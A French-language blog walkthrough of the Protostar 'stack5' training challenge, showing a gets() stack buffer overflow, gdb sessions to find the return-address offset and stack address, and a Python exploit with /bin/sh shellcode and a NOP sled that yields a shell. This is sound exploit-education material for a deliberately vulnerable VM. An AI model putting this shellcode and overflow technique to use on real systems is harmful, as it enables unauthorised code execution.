Protostar – Stack 5

Nous allons commencer le chaleng stack5 de la VM Protostar .

https://exploit-exercises.com/protostar/stack5/

Voici le code source du binaire à exploiter :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
stack 5

Ici il n’y à aucune fonction win , il faudra donc exécuter un shellcode en exploitant le binaire, pour cela on stocke le shellcode dans la pile et on écraser EIP avec l’adresse du shellcode dans la pile.

Cherchons le nombre de caractère à écrire pour écraser EIP :

user@protostar:/opt/protostar/bin$ python -c "print('A'*64+'BBBBCCCCDDDDEEEEFFFF')" > /tmp/f
 user@protostar:/opt/protostar/bin$ gdb -q ./stack5
 Reading symbols from /opt/protostar/bin/stack5...done.
 (gdb) run < /tmp/f
 Starting program: /opt/protostar/bin/stack5 < /tmp/f

Program received signal SIGSEGV, Segmentation fault.
 0x45454545 in ?? ()

$python
 Python 3.5.1 (default, Mar  3 2016, 09:29:07)
 [GCC 5.3.0] on linux
 Type "help", "copyright", "credits" or "license" for more information.
 >>> chr(0x45)
 'E'

 

c’est donc les EEEE qui ont écrasé eip , il faut donc 76 caractères + l’adresse du shellcode .

Commençons notre exploit :

#!/usr/bin/env python

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";

print("\x90"*76+"BBBB"+"\x90"*10+shellcode)
exploit_encours.py

Le shellcode à été récupéré sur shell-storm

\x90 est une instructions NOP , c’est à dire qu’elle ne fait rien et passe a la prochaine instruction . Elles sont utiles ici pour pouvoir glisser sur le « nop sled » jusqu’au shellcode sans avoir l’adresse exacte du shellcode .

L’adresse de retour est toujours placée sur les BBBB , il suffira de modifier les BBBB avec l’adresse vers notre shellcode ou NOP sled.

Recuperons l’adresse de notre NOP Sled :

user@protostar:/opt/protostar/bin$ /tmp/exploit.py >/tmp/f
 user@protostar:/opt/protostar/bin$ gdb -q ./stack5
 Reading symbols from /opt/protostar/bin/stack5...done.
 (gdb) run </tmp/f
 Starting program: /opt/protostar/bin/stack5 </tmp/f

Program received signal SIGSEGV, Segmentation fault.
 0x42424242 in ?? ()
 (gdb) run < /tmp/f
 Starting program: /opt/protostar/bin/stack5 < /tmp/f

Program received signal SIGFPE, Arithmetic exception.
 0xbffff769 in ?? ()
 (gdb) x/36x $esp
 0xbffff7c0:    0x90909090    0x90909090    0xc0319090    0x2f2f6850
 0xbffff7d0:    0x2f686873    0x896e6962    0x89c189e3    0xcd0bb0c2
 0xbffff7e0:    0x40c03180    0xbf0080cd    0xb7ff0626    0xb7fffab0
 0xbffff7f0:    0xb7fe1b28    0xb7fd7ff4    0x00000000    0x00000000
 0xbffff800:    0xbffff838    0x0ba52570    0x21f2d360    0x00000000
 0xbffff810:    0x00000000    0x00000000    0x00000001    0x08048310
 0xbffff820:    0x00000000    0xb7ff6210    0xb7eadb9b    0xb7ffeff4
 0xbffff830:    0x00000001    0x08048310    0x00000000    0x08048331
 0xbffff840:    0x080483c4    0x00000001    0xbffff864    0x080483f0
récuperation adresse du NOP Sled

 

Nous allons donc sauter à l’adresse 0xbffff760 dans le nop sled vers le shellcode , soit l’adresse « \xc0\xf7\xff\xbf » .

Voilà notre exploit terminé :

#!/usr/bin/env python

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
print("\x90"*76+"\xc0\xf7\xff\xbf"+"\x90"*10+shellcode)
exploit.py

Executons le :

user@protostar:/opt/protostar/bin$ /tmp/exploit.py > /tmp/f
 user@protostar:/opt/protostar/bin$ (cat /tmp/f; cat)|./stack5
 ls
 final0    format0  format3  heap1  net0  net3    stack1  stack4  stack7
 final1    format1  format4  heap2  net1  net4    stack2  stack5
 final2    format2  heap0      heap3  net2  stack0  stack3  stack6
On obtient un shell !

Nous avons bien un shell sur la machine  , le cat après le cat /tmp/f permet d’éviter au programme de quitter le shellcode directement , avec un cat en plus on peut taper  des commandes dans le shellcode et le quitter lorsqu’on le souhaite .

J’espère que cet article vous aura plus , n’hésitez pas à écrire des commentaires pour poser une question , faire une suggestions ou donner simplement votre avis 🙂

Bonne journée !

 

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.